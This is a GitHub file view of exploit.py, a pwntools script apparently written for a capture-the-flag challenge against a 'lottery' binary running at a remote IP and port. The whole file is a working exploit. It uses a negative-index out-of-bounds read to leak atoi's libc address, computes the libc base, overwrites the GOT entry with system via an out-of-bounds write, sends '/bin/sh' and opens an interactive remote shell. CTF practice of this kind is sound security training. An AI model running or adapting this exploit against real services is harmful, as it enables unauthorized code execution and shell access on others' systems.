-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathexploit.py
47 lines (37 loc) · 1.23 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
elf = ELF('./lottery_main_patched')
local = False
HOST = '34.253.120.147'
PORT = 2324
context.terminal = ['tmux', 'sp', '-h']
if local == False:
libc = ELF('./libc-2.24-level1.so', checksec=False)
io = remote(HOST, PORT)
else:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
io = process(elf.path)
def leak():
io.sendline('2')
io.sendlineafter('show:', '-11')
io.recvuntil('number: ')
lower_half = int(io.recvuntil('\n', drop=True))
io.recvuntil('tickets: ')
higher_half = int(io.recvuntil('\n', drop=True))
higher_half = higher_half << (4 * (len(hex(lower_half)) - 2))
io.recvuntil('option>')
return higher_half + lower_half
def write(what, where):
io.sendline('1')
io.sendlineafter('edit:', str(int(where)))
io.sendlineafter('number:', str(int(what & 0x00000000ffffffff)))
io.sendlineafter('bought:', str(int(what & 0xffffffff00000000) >> 4 * 8))
io.sendlineafter('option>', '/bin/sh')
leaked_atoi = leak()
libc.address = leaked_atoi - libc.sym['atoi']
log.success('Leaked atoi@@GLIBC address: ' + hex(leaked_atoi))
log.info('GLIBC base address: ' + hex(libc.address))
log.info('System@@GLIBC address: ' + hex(libc.sym['system']))
write(libc.sym['system'], -11)
io.recv()
io.interactive()
io.close()